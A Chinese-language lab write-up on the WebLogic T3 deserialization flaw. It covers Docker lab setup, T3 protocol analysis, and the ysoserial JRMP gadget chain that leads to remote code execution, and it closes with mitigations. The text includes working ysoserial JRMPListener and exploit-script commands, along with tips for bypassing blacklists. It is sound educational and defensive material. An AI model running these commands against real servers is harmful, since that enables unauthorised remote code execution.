从WebLogicT3反序列化学习Java安全
字数 1436 2025-08-20 18:17:47
WebLogic T3反序列化漏洞深入分析与实践
0x01 漏洞复现
环境搭建与漏洞验证
-
环境准备:
- 使用Docker搭建WebLogic漏洞环境(默认开放7001端口)
- 额外开放8055端口用于远程调试
-
漏洞验证步骤:
# 启动JRMP监听服务 java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 8000 CommonsCollections1 "touch /tmp/temp" # 执行漏洞利用 python exp.py 192.168.42.192 7001 ./ysoserial-0.0.6-SNAPSHOT-all.jar 192.168.42.192 8000 JRMPClient # 验证结果 docker exec -it [容器ID] /bin/bash ls /tmp/temp
远程调试环境配置
-
获取必要文件:
docker cp [容器名称]:/root/jdk [目标路径] docker cp [容器名称]:/root/Oracle/Middleware/wlserver_10.3 [目标路径] # 提取所有jar包 cp `find ./wlserver_10.3/ -name "*.jar"` ./dep -
WebLogic调试配置:
- 修改
startDomainEnv.sh:debugFlag="true" DEBUG_PORT="8055" - 更新docker-compose.yml开放8055端口
- 修改
-
IDEA配置:
- 使用从容器中提取的JDK作为项目SDK
- 添加所有提取的jar包为项目库
- 配置远程调试连接(端口8055)
0x02 T3协议分析
T3协议特征
-
协议结构:
- 前4字节表示数据包大小(如
00 00 06 d7) - 固定头部(约100字节)
- 序列化的Java对象数据
- 前4字节表示数据包大小(如
-
通信流程:
- 客户端与服务器交换信息
- 传输多个序列化对象
- 服务器反序列化处理
-
攻击原理:
- 替换传输的序列化对象为恶意对象
- 利用服务器反序列化机制执行恶意代码
流量分析实验
-
实验代码:
- 实现简单的RMI服务(Hello接口及实现)
- 客户端通过T3协议与WebLogic通信
-
关键发现:
- T3协议可一次传输多个对象
- 对象按顺序反序列化
- 协议头部有固定特征
0x03 相关技术概念区分
JNDI与相关技术
-
JNDI架构:
JNDI API ├─ RMI (远程方法调用) ├─ CORBA (公共对象请求代理) └─ LDAP (轻型目录访问协议) -
RMI核心机制:
- 依赖反序列化传输对象
- 支持动态加载远程类(通过
java.rmi.server.codebase) - 客户端与服务端可互相加载类
-
攻击面:
- 反序列化漏洞(继承参数类构造恶意对象)
- 远程类加载(强制服务器加载恶意类)
0x04 漏洞深度分析
反序列化触发点
-
关键类:
weblogic.rjvm.InboundMsgAbbrev(位于wlthint3client.jar)ServerChannelInputStream(继承自ObjectInputStream)
-
调用链:
weblogic.socket → 读取字节流 → weblogic.rjvm → InboundMsgAbbrev → ObjectInputStream.readObject() → resolveClass() -
动态调试观察:
- 按传入包顺序反序列化
- 第一个包反序列化完成后处理RMI相关包
ysoserial JRMP模块分析
-
JRMPClient利用链:
RemoteObjectInvocationHandler → UnicastRef.readExternal() → DGCClient$EndpointEntry.makeDirtyCall() → 连接攻击者指定的JRMP服务 -
JRMPListener工作流程:
- 根据参数初始化Payload(如CommonsCollections1)
- 监听指定端口等待连接
- 收到连接后发送序列化恶意对象
-
完整攻击流程:
- 攻击者启动JRMPListener
- 构造T3协议恶意数据触发JRMPClient反序列化
- 受害服务器连接攻击者JRMP服务
- JRMP服务返回异常触发二次反序列化
- 实现RCE
0x05 技术细节与优化
直接T3反序列化与JRMP迂回对比
-
直接利用限制:
- Payload较大可能导致413错误
- 受黑名单限制更严格
-
JRMP迂回优势:
- Payload更短小
- 可用于检测(类似URLDNS)
- 绕过部分黑名单(二次反序列化)
- 有错误回显便于调试
-
直接利用方法:
- 构造完整的CC1链序列化数据
- 通过T3协议直接发送(需处理数据包大小限制)
关键防御思路
-
官方修复:
- 增加反序列化黑名单
- 限制T3协议访问
-
防护建议:
- 关闭不必要的T3协议
- 更新WebLogic补丁
- 监控异常反序列化行为
附录:参考资源
- ysoserial JRMP相关模块分析
- Java中RMI、JNDI、LDAP等技术关系解析
- CVE-2018-2628官方分析报告
- WebLogic T3协议官方文档
注:本文所有实验应在授权环境下进行,严禁用于非法用途。